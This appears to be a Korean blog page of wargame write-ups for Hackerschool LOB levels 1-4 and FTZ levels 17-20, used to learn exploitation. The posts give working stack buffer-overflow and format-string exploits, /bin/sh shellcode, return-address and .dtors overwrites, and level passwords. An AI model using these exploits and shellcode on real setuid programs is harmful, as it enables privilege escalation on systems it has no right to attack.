반응형
반응형
반응형


해커스쿨 LOB LEVEL4 [goblin -> orc] 풀이


M4ndU




해커스쿨 LOB [goblin -> orc] 풀이입니다.


ID | goblin

PW | hackers proof


으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: goblin

Password:

[goblin@localhost goblin]$ bash2

[goblin@localhost goblin]$ ls -l

total 20

-rwsr-sr-x    1 orc      orc         12567 Feb 26  2010 orc

-rw-r--r--    1 root     root          505 Mar 29  2010 orc.c

[goblin@localhost goblin]$ cat orc.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - orc

        - egghunter

*/


#include <stdio.h>

#include <stdlib.h>


extern char **environ;


main(int argc, char *argv[])

{

        char buffer[40];

        int i;


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        // egghunter

        for(i=0; environ[i]; i++)

                memset(environ[i], 0, strlen(environ[i]));


        if(argv[1][47] != '\xbf')

        {

                printf("stack is still your friend.\n");

                exit(0);

        }


        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);

}



이번에는 두가지 조건이 있네요.

        // egghunter

        for(i=0; environ[i]; i++)

                memset(environ[i], 0, strlen(environ[i]));


환경변수부분을 0으로 설정해 버려서 환경변수를 사용할 수 없네요.


        if(argv[1][47] != '\xbf')

        {

                printf("stack is still your friend.\n");

                exit(0);

        }


그리고 리턴주소의 첫바이트는 0xbf이어야 하네요.

스택영역을 사용하면 되기 때문에 쉘코드를 buffer에 넣겠습니다. 그러면


./orc `python -c 'print "\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+RET'`


가 되겠네요.


쉘코드가 있는 곳을 알아봅시다.

문제파일을 복사해서 core파일을 분석하면 됩니다.


[goblin@localhost tmp]$ ./orc `python -c 'print "\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\xff\xff\xff\xbf"'`

릱릱릱릱릱릱릱릱릱?픐h//shh/bin됥PS됣됀?

                                         ??

Segmentation fault (core dumped)

[goblin@localhost tmp]$ gdb -c core -q

Core was generated by `./orc 릱릱릱릱릱릱릱릱릱?픐h//shh/bin됥PS됣됀?

                                                                      ??.

Program terminated with signal 11, Segmentation fault.

#0  0xbfffffff in ?? ()

(gdb) x/500x $esp

0xbffffaf0:     0x00000000      0xbffffb34      0xbffffb40      0x40013868

0xbffffb00:     0x00000002      0x08048450      0x00000000      0x08048471

 (생략)

0xbffffc20:     0x00000000      0x00000000      0x69000000      0x00363836

0xbffffc30:     0x726f2f2e      0x90900063      0x90909090      0x90909090

0xbffffc40:     0x90909090      0x90909090      0x50c03190      0x732f2f68

0xbffffc50:     0x622f6868      0xe3896e69      0xe1895350      0x0bb0c289

0xbffffc60:     0xffff80cd      0x0000bfff      0x00000000      0x00000000

 (생략)


우리가 입력한 값들이 보이네요.

리턴주소를 0xbffffc40으로 잡겠습니다.


[goblin@localhost goblin]$ ./orc `python -c 'print "\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x40\xfc\xff\xbf"'`

릱릱릱릱릱릱릱릱릱?픐h//shh/bin됥PS됣됀?

                                         ?@??

bash$ my-pass

euid = 504

cantata

bash$


성공입니다. 다음레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏ




반응형
반응형


해커스쿨 LOB LEVEL3 [cobolt -> goblin] 풀이


M4ndU




해커스쿨 LOB [cobolt -> goblin] 풀이입니다.


ID | cobolt

PW | hacking exposed


으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: cobolt

Password:

[cobolt@localhost cobolt]$ bash2

[cobolt@localhost cobolt]$ ls -l

total 16

-rwsr-sr-x    1 goblin   goblin      11824 Feb 26  2010 goblin

-rw-r--r--    1 root     root          193 Mar 29  2010 goblin.c

[cobolt@localhost cobolt]$ cat goblin.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - goblin

        - small buffer + stdin

*/


int main()

{

    char buffer[16];

    gets(buffer);

    printf("%s\n", buffer);

}




저번과 같은데 입력을 gets함수로 받네요. 

환경변수 설정하겠습니다. 이번에도 41바이트 쉘코드를 사용합니다.



[cobolt@localhost cobolt]$ export EGG=`python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

[cobolt@localhost cobolt]$ echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c

[cobolt@localhost cobolt]$ gcc getenv.c -o getenv

[cobolt@localhost cobolt]$ ./getenv

ADDR -> 0xbffffea7




[cobolt@localhost cobolt]$ (python -c 'print "A"*20+"\xa7\xfe\xff\xbf"'; cat) | ./goblin

AAAAAAAAAAAAAAAAAAAA??

my-pass

euid = 503

hackers proof


다음레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏ

반응형
반응형


해커스쿨 LOB LEVEL2 [gremlin -> cobolt] 풀이


M4ndU




해커스쿨 LOB [gremlin -> cobolt] 풀이입니다.


ID | gremlin

PW | hello bof world


으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: gremlin

Password:

[gremlin@localhost gremlin]$ bash2

[gremlin@localhost gremlin]$ ls -l

total 16

-rwsr-sr-x    1 cobolt   cobolt      11970 Feb 26  2010 cobolt

-rw-r--r--    1 gremlin  gremlin       291 Mar 29  2010 cobolt.c

[gremlin@localhost gremlin]$ cat cobolt.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - cobolt

        - small buffer

*/


int main(int argc, char *argv[])

{

    char buffer[16];

    if(argc < 2){

        printf("argv error\n");

        exit(0);

    }

    strcpy(buffer, argv[1]);

    printf("%s\n", buffer);

}


이번엔 버퍼가 16밖에 되지 않네요. 하지만 환경변수를 사용하면 버퍼의 크기는 상관이 없습니다!

gdb를 통해 buffer와 리턴주소간 거리를 구해봅시다.


[gremlin@localhost gremlin]$ gdb -q cobolt
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x8048430 <main>:       push   %ebp
0x8048431 <main+1>:     mov    %ebp,%esp
0x8048433 <main+3>:     sub    %esp,16
0x8048436 <main+6>:     cmp    DWORD PTR [%ebp+8],1
0x804843a <main+10>:    jg     0x8048453 <main+35>
0x804843c <main+12>:    push   0x80484d0
0x8048441 <main+17>:    call   0x8048350 <printf>
0x8048446 <main+22>:    add    %esp,4
0x8048449 <main+25>:    push   0
0x804844b <main+27>:    call   0x8048360 <exit>
0x8048450 <main+32>:    add    %esp,4
0x8048453 <main+35>:    mov    %eax,DWORD PTR [%ebp+12]
0x8048456 <main+38>:    add    %eax,4
0x8048459 <main+41>:    mov    %edx,DWORD PTR [%eax]
0x804845b <main+43>:    push   %edx
0x804845c <main+44>:    lea    %eax,[%ebp-16]
0x804845f <main+47>:    push   %eax
0x8048460 <main+48>:    call   0x8048370 <strcpy>
0x8048465 <main+53>:    add    %esp,8
0x8048468 <main+56>:    lea    %eax,[%ebp-16]
0x804846b <main+59>:    push   %eax
0x804846c <main+60>:    push   0x80484dc
---Type <return> to continue, or q <return> to quit---
0x8048471 <main+65>:    call   0x8048350 <printf>
0x8048476 <main+70>:    add    %esp,8
0x8048479 <main+73>:    leave
0x804847a <main+74>:    ret

buffer가 ebp-16이니 dummy가 없네요.

바로 환경변수 설정해 줍시다. 이번에도 41바이트 쉘코드를 사용했습니다.


[gremlin@localhost gremlin]$ mkdir tmp
[gremlin@localhost gremlin]$ cd tmp
[gremlin@localhost tmp]$ export EGG=`python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
[gremlin@localhost tmp]$ echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c
[gremlin@localhost tmp]$ gcc getenv.c -o getenv
[gremlin@localhost tmp]$ ./getenv
ADDR -> 0xbffffe8d


[gremlin@localhost tmp]$ cd ..

[gremlin@localhost gremlin]$ ./cobolt `python -c 'print "A"*20+"\x8d\xfe\xff\xbf"'`

AAAAAAAAAAAAAAAAAAAA랞?

bash$ my-pass

euid = 502

hacking exposed



깔끔

다음레벨로 가즈아ㅏㅏ


반응형
반응형


해커스쿨 LOB LEVEL1 [gate -> gremlin] 풀이


M4ndU




해커스쿨 LOB [gate -> gremlin] 풀이입니다.


ID | gate

PW | gate


으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: gate

Password:

Last login: Sat Feb 10 20:32:49 on tty1

[gate@localhost gate]$ bash2

[gate@localhost gate]$ ls -l

total 16

-rwsr-sr-x    1 gremlin  gremlin     11987 Feb 26  2010 gremlin

-rw-rw-r--    1 gate     gate          272 Mar 29  2010 gremlin.c

[gate@localhost gate]$ cat gremlin.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - gremlin

        - simple BOF

*/


int main(int argc, char *argv[])

{

    char buffer[256];

    if(argc < 2){

        printf("argv error\n");

        exit(0);

    }

    strcpy(buffer, argv[1]);

    printf("%s\n", buffer);

}




Simple BOF문제라고 하네요.


소스를 보면 256바이트 크기인 buffer에 무제한으로 입력을 받네요.


buffer와 리턴주소 간의 거리를 구하고 쉘코드를 buffer 또는 환경변수에 올려서 쉘을 따면 되겠네요.


저는 환경변수를 이용하겠습니다.



일단 문제 파일을 gdb로 까봅시다.


[gate@localhost gate]$ gdb gremlin -q

(gdb) set disassembly-flavor intel

(gdb) disas main

Dump of assembler code for function main:

0x8048430 <main>:       push   %ebp

0x8048431 <main+1>:     mov    %ebp,%esp

0x8048433 <main+3>:     sub    %esp,0x100

0x8048439 <main+9>:     cmp    DWORD PTR [%ebp+8],1

0x804843d <main+13>:    jg     0x8048456 <main+38>

0x804843f <main+15>:    push   0x80484e0

0x8048444 <main+20>:    call   0x8048350 <printf>

0x8048449 <main+25>:    add    %esp,4

0x804844c <main+28>:    push   0

0x804844e <main+30>:    call   0x8048360 <exit>

0x8048453 <main+35>:    add    %esp,4

0x8048456 <main+38>:    mov    %eax,DWORD PTR [%ebp+12]

0x8048459 <main+41>:    add    %eax,4

0x804845c <main+44>:    mov    %edx,DWORD PTR [%eax]

0x804845e <main+46>:    push   %edx

0x804845f <main+47>:    lea    %eax,[%ebp-256]

0x8048465 <main+53>:    push   %eax

0x8048466 <main+54>:    call   0x8048370 <strcpy>

0x804846b <main+59>:    add    %esp,8

0x804846e <main+62>:    lea    %eax,[%ebp-256]

0x8048474 <main+68>:    push   %eax

0x8048475 <main+69>:    push   0x80484ec

0x804847a <main+74>:    call   0x8048350 <printf>
0x804847f <main+79>:    add    %esp,8
0x8048482 <main+82>:    leave
0x8048483 <main+83>:    ret


*main+62 를 통해 buffer가 ebp-256에 있는 것을 알 수 있습니다.

buffer의 크기가 256이니 dummy없이 바로 buffer - sfp - ret 인 것 같습니다.


이제 환경변수를 설정해 줍시다.
41바이트 쉘코드를 사용했습니다.


[gate@localhost gate]$ cd tmp/
[gate@localhost tmp]$ export EGG=`python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
[gate@localhost tmp]$ echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c
[gate@localhost tmp]$ gcc getenv.c -o getenv
[gate@localhost tmp]$
[gate@localhost tmp]$ ./g
getenv   gremlin
[gate@localhost tmp]$ ./g
getenv   gremlin
[gate@localhost tmp]$ ./getenv
ADDR -> 0xbffffe9f


0xbffffe9f를 리턴주소로 두고 공격을 하면 되겠네요.

./gremlin `python -c 'print "A"*260+"\x9f\xfe\xff\xbf"'`

[gate@localhost gate]$ ./gremlin `python -c 'print "A"*260+"\x9f\xfe\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA잷?
bash$ my-pass
euid = 501
hello bof world
bash$



다음 레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏ



반응형
반응형


해커스쿨 FTZ [LEVEL19] 풀이


M4ndU




해커스쿨 FTZ [LEVEL19] 풀이입니다.


ID | level19

PW | we are just regular guys


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat hint


를 이용해 힌트를 확인합시다.




login as: level20

level20@192.168.31.128's password:

[level20@ftz level20]$ ls -l

total 24

-rwsr-sr-x    1 clear    clear       11777 Jun 18  2008 attackme

-rw-r-----    1 root     level20       133 May 13  2002 hint

drwxr-xr-x    2 root     level20      4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level20      4096 Jan 11  2009 tmp

[level20@ftz level20]$ cat hint


#include <stdio.h>

main(int argc,char **argv)

{ char bleh[80];

  setreuid(3101,3101);

  fgets(bleh,79,stdin);

  printf(bleh);

}



FTZ의 마지막 레벨, 20레벨이네요.
소스를 보면
bleh는 80바이트인데 입력은 79바이트를 받네요.
.....????????

어떻게 해결해?
하지만 printf(bleh);
이곳에 취약점이 있습니다!
level11에도 있었던 취약점이었습니다.

보통 printf("%s", bleh); 로 사용되는데, 이 것은 그렇지 않죠.
이 것의 문제를 포멧스트링 버그라고 합니다.

포멧스트링 버그에 관한 내용들은 좋은 문서들이 많으니 설명하지 않고 풀이로 넘어가겠습니다.

[level20@ftz level20]$ ./attackme
%08x %08x
0000004f 4212ecc0


입력값으로 서식문자를 입력하니 메모리를 읽어서 출력해주네요.
이번엔 그냥 문자와 서식문자를 같이 입력해 보겠습니다.

[level20@ftz level20]$ ./attackme
AAAAAAAA %08x %08x %08x %08x %08x %08x %08x %08x
AAAAAAAA 0000004f 4212ecc0 4207a750 41414141 41414141 38302520 30252078 25207838

오 이번엔 메모리 4번째부터 우리가 입력한 AAAAAAAA인 0x41414141 0x41414141 이 보이네요.

다음으로 printf()의 소멸자 .dtors를 찾아보겠습니다.

[level20@ftz level20]$ objdump -s -j .dtors attackme

attackme:     file format elf32-i386

Contents of section .dtors:
 8049594 ffffffff 00000000                    ........

0x8049594 + 4 = 0x8049598에 있네요. 이 주소에 쉘코드 주소를 넣어주면 되겠습니다.

일단 환경변수에 쉘코드를 넣겠습니다.


$export EGG=`python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
$echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c
$gcc getenv.c -o getenv
$./getenv

[level20@ftz level20]$ export EGG=`python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
[level20@ftz level20]$ cd tmp
[level20@ftz tmp]$ echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c
[level20@ftz tmp]$ gcc getenv.c -o getenv
[level20@ftz tmp]$ ./getenv
ADDR -> 0xbffffc8d

0x8049598 에 쉘코드를 주소를 올려야 하는데요. 0xbffffc8d의 정수값이 x86시스템에서 지정할 수 없는 크기 때문에 %n을 이용해 반반씩 나누어 덮어주겠습니다.

0xfc8d (64653(10)) 는 0x08049598에 넣고
0xbfff (49151(10)) 는 0x0804959a에 넣게 됩니다.

그리고
AAAA\x94\x95\x04\x08AAAA\x96\x95\x04\x08%8x%8x%8x%8x 에 대한 자릿수 40바이트를
0xfc8d에서 뺍니다.
64653-40=64613

또 %n이 앞자릿수를 계산하므로 40+64613=64653을 
0xbfff에서도 빼주어야 합니다.그러나 0xbfff(49151)에서 빼게되면 음수가 되기 때문에 0xbfff앞에 1을 붙인 0x1bfff에서 빼서
50034가 됩니다.

최종적으로
"AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%8x%64613c%n%50034c%n"이 됩니다.

(python -c 'print "AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08"+"%8x%8x%8x"+"%64613c%n"+"%50034c%n"'; cat) | ./attackme​


[level20@ftz level20]$ (python -c 'print "AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08"+"%8x%8x%8x"+"%64613c%n"+"%50034c%n"'; cat) | ./attackme

AAAA쁀AAA?     4f4212ecc04207a750                                                                                                                  (공백)


my-pass

TERM environment variable not set.


clear Password is "i will come in a minute".

웹에서 등록하세요.


* 해커스쿨의 든 레벨을 통과하신 것을 축하드립니다.

당신의 끈질긴 열정과 능숙한 솜씨에 찬사를 보냅니다.

해커스쿨에서는 실력있 분들을 모아 연구소라는 그룹을 운영하고 있습니다.

이 메시지를 보시는 분들 중에 연구소에 관심있으신 분은 자유로운 양식의

가입 신청서를 admin@hackerschool.org로 보내주시기 바랍니다.




이렇게 FTZ가 끝이 났습니다. 이제 LOB로 가즈아아아아아!



반응형

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL19] 풀이  (0) 2018.02.09
해커스쿨 FTZ [LEVEL18] 풀이  (3) 2018.02.09
해커스쿨 FTZ [LEVEL17] 풀이  (2) 2018.02.09
해커스쿨 FTZ [LEVEL16] 풀이  (4) 2018.02.09
해커스쿨 FTZ [LEVEL15] 풀이  (0) 2018.02.09
반응형


해커스쿨 FTZ [LEVEL19] 풀이


M4ndU




해커스쿨 FTZ [LEVEL19] 풀이입니다.


ID | level19

PW | swimming in pink


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat hint


를 이용해 힌트를 확인합시다.




login as: level19

level19@192.168.31.128's password:

[level19@ftz level19]$ ls -l

total 28

-rwsr-x---    1 level20  level19     13615 Mar  8  2003 attackme

-rw-r-----    1 root     level19        65 Mar  8  2003 hint

drwxr-xr-x    2 root     level19      4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level19      4096 Jan 16  2009 tmp

[level19@ftz level19]$ cat hint



main()

{ char buf[20];

  gets(buf);

  printf("%s\n",buf);

}



어라...엄청 간단해졌습니다. 이번에도 환경변수를 사용하겠습니다.

그런데 setreuid함수가 없으므로 쉘코드를 25바이트가 아닌 setreuid가 포함된 41바이트 쉘코드를 사용하겠습니다.


$export EGG=`python -c 'print "\x90"*20+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
$echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c
$gcc getenv.c -o getenv
$./getenv



[level19@ftz level19]$ export EGG=`python -c 'print"\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

[level19@ftz level19]$ cd tmp

[level19@ftz tmp]$ echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c

[level19@ftz tmp]$ gcc getenv.c -o getenv

[level19@ftz tmp]$ ./getenv

ADDR -> 0xbffffc78





gdb를 통해 buf위치 확인


[level19@ftz tmp]$ cd ..

[level19@ftz level19]$ gdb -q attackme

(gdb) set disassembly-flavor intel

(gdb) disas main

Dump of assembler code for function main:

0x08048440 <main+0>:    push   ebp

0x08048441 <main+1>:    mov    ebp,esp

0x08048443 <main+3>:    sub    esp,0x28

0x08048446 <main+6>:    sub    esp,0xc

0x08048449 <main+9>:    lea    eax,[ebp-40]

0x0804844c <main+12>:   push   eax

0x0804844d <main+13>:   call   0x80482f4 <gets>

0x08048452 <main+18>:   add    esp,0x10

0x08048455 <main+21>:   sub    esp,0x8

0x08048458 <main+24>:   lea    eax,[ebp-40]

0x0804845b <main+27>:   push   eax

0x0804845c <main+28>:   push   0x80484d8

0x08048461 <main+33>:   call   0x8048324 <printf>

0x08048466 <main+38>:   add    esp,0x10

0x08048469 <main+41>:   leave

0x0804846a <main+42>:   ret


ebp-40이네요. 44바이트를 채워버리고 리턴주소를 0xbffffc78로 덮어주면 되겠네요.


[level19@ftz level19]$ (python -c 'print "A"*44+"\x78\xfc\xff\xbf"'; cat) | ./attackme

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAx??

my-pass

TERM environment variable not set.


Level20 Password is "we are just regular guys".



성공입니다. FTZ 마지막 고점으로 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏ


반응형

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL20] 풀이  (2) 2018.02.10
해커스쿨 FTZ [LEVEL18] 풀이  (3) 2018.02.09
해커스쿨 FTZ [LEVEL17] 풀이  (2) 2018.02.09
해커스쿨 FTZ [LEVEL16] 풀이  (4) 2018.02.09
해커스쿨 FTZ [LEVEL15] 풀이  (0) 2018.02.09
반응형


해커스쿨 FTZ [LEVEL18] 풀이


M4ndU




해커스쿨 FTZ [LEVEL18] 풀이입니다.


ID | level18

PW | why did you do it


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat hint


를 이용해 힌트를 확인합시다.




login as: level18

level18@192.168.31.128's password:

[level18@ftz level18]$ ls -l

total 20

-rwsr-x---    1 level19  level18      6225 Jan 25  1999 attackme

-rw-r-----    1 root     level18      1272 Jan 25  1999 hint

drwxr-xr-x    2 root     level18      4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level18      4096 Jan  8  2009 tmp

[level18@ftz level18]$ cat hint


#include <stdio.h>

#include <sys/time.h>

#include <sys/types.h>

#include <unistd.h>

void shellout(void);

int main()

{

  char string[100];

  int check;

  int x = 0;

  int count = 0;

  fd_set fds;

  printf("Enter your command: ");

  fflush(stdout);

  while(1)

    {

      if(count >= 100)

        printf("what are you trying to do?\n");

      if(check == 0xdeadbeef)

        shellout();

      else

        {

          FD_ZERO(&fds);

          FD_SET(STDIN_FILENO,&fds);


          if(select(FD_SETSIZE, &fds, NULL, NULL, NULL) >= 1)

            {

              if(FD_ISSET(fileno(stdin),&fds))

                {

                  read(fileno(stdin),&x,1);

                  switch(x)

                    {

                      case '\r':

                      case '\n':

                        printf("\a");

                        break;

                      case 0x08:

                        count--;

                        printf("\b \b");

                        break;

                      default:

                        string[count] = x;

                        count++;

                        break;

                    }

                }

            }

        }

    }

}


void shellout(void)

{

  setreuid(3099,3099);

  execl("/bin/sh","sh",NULL);

}



소스가 엄청 길어졌습니다..

분석을 해봅시다.



      if(count >= 100)

        printf("what are you trying to do?\n");

      if(check == 0xdeadbeef)

        shellout();


count가 100이상이면 문장을 출력하고

check가 0xdeadbeef이면 shellout함수를 실행하네요.



      else

        {

          FD_ZERO(&fds);

          FD_SET(STDIN_FILENO,&fds);


          if(select(FD_SETSIZE, &fds, NULL, NULL, NULL) >= 1)

            {

              if(FD_ISSET(fileno(stdin),&fds))

                {

                  read(fileno(stdin),&x,1);


사용자로부터 입력을 받고, 입력값에서 1바이트를 가져옵니다.



                  switch(x)

                    {

                      case '\r':

                      case '\n':

                        printf("\a");

                        break;

                      case 0x08:

                        count--;

                        printf("\b \b");

                        break;

                      default:

                        string[count] = x;

                        count++; 

                        break;

                     }



그 1바이트의 값이 0x08이면 count 값을 1감소하고


그 1바이트의 값이 \r \n 0x08이 아니라면 string[count] 에 그 1바이트값을 대입하고

count의 값을 1증가 시키네요.


void shellout(void)

{

  setreuid(3099,3099);

  execl("/bin/sh","sh",NULL);

}


shellout함수는 쉘을 띄워주네요.



우리의 목표는 check의 값을 0xdeadbeef로 만드는 것이네요.

string의 값을 넘치게해서 리턴값을 바꾸는 것은 첫번째 조건문에 걸리기 때문에 불가능하고요.


그런데 check는 string보다 더 낮은주소에 있습니다. 그럼 check를 어떻게 조작해야 할까요?

만약 count가 음수라면..? string의 시작주소보다 더 낮은주소에 접근할 수 있지 않을까요?


gdb를 통해 한번 보겠습니다.


코드가 길어서 중요한 부분만 적겠습니다.


0x080485ab <main+91>:   cmp    DWORD PTR [ebp-104],0xdeadbeef


ebp-104와 0xdeadbeef를 비교하네요. ebp-104가 check임을 알 수 있습니다.


그리고 밑으로 내려가보면


0x08048743 <main+499>:  lea    eax,[ebp-100]

0x08048746 <main+502>:  mov    DWORD PTR [ebp-252],eax

0x0804874c <main+508>:  mov    edx,DWORD PTR [ebp-112]

0x0804874f <main+511>:  mov    cl,BYTE PTR [ebp-108]

0x08048752 <main+514>:  mov    BYTE PTR [ebp-253],cl

0x08048758 <main+520>:  mov    al,BYTE PTR [ebp-253]

0x0804875e <main+526>:  mov    ecx,DWORD PTR [ebp-252]

0x08048764 <main+532>:  mov    BYTE PTR [edx+ecx],al

0x08048767 <main+535>:  inc    DWORD PTR [ebp-112]  //count++;

0x0804876a <main+538>:  jmp    0x8048770 <main+544> //break;


밑에 inc도 있고 하니 default: 부분인것 같습니다.

string은 ebp-100이 되겠네요.


그러면 check와 string사이에 dummy는 없습니다.


이 구조를 나타내면


낮은주소

check[0]  - string[-4]

check[1]  - string[-3]

check[2]  - stirng[-2]

check[3]  - stirng[-1]

string[0]

string[1]

...

string[99]

높은주소


이해가 되시나요?


우리가 도달해야 할 곳은 string[-4]이고, count의 초기값은 0입니다.

count의 값을 감소시키는 방법은 0x08을 보내는 것이죠.


0x08을 4번 보내어 string[-4]부터 쓸 수 있도록 만들고 0xdeadbeef를 덮어쓰면 되겠습니다.


(python -c 'print "\x08"*4+"\xef\xbe\xad\xde"'; cat) | ./attackme



[level18@ftz level18]$ (python -c 'print "\x08"*4+"\xef\xbe\xad\xde"'; cat) | ./attackme

Enter your command: my-pass


Level19 Password is "swimming in pink".


성공입니드아! GAZA!!!!!!!!


반응형

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL20] 풀이  (2) 2018.02.10
해커스쿨 FTZ [LEVEL19] 풀이  (0) 2018.02.09
해커스쿨 FTZ [LEVEL17] 풀이  (2) 2018.02.09
해커스쿨 FTZ [LEVEL16] 풀이  (4) 2018.02.09
해커스쿨 FTZ [LEVEL15] 풀이  (0) 2018.02.09
반응형


해커스쿨 FTZ [LEVEL17] 풀이


M4ndU




해커스쿨 FTZ [LEVEL17] 풀이입니다.


ID | level17

PW | king poetic


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat hint


를 이용해 힌트를 확인합시다.




login as: level17

level17@192.168.31.128's password:

[level17@ftz level17]$ ls -l

total 28

-rwsr-x---    1 level18  level17     13853 Mar  8  2003 attackme

-rw-r-----    1 root     level17       191 Mar  8  2003 hint

drwxr-xr-x    2 root     level17      4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level17      4096 Jan 11  2009 tmp

[level17@ftz level17]$ cat hint


#include <stdio.h>


void printit() {

  printf("Hello there!\n");

}


main()

{ int crap;

  void (*call)()=printit;

  char buf[20];

  fgets(buf,48,stdin);

  setreuid(3098,3098);

  call();

}




저번문제에 있던 shell함수가 사라졌네요.

쉘코드를 환경변수에 넣고 call주소로 쉘코드의 주소를 넣으면 될 것 같습니다.

먼저 buf와 call의 거리르 계산해 봅시다.

[level17@ftz level17]$ gdb -q attackme
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
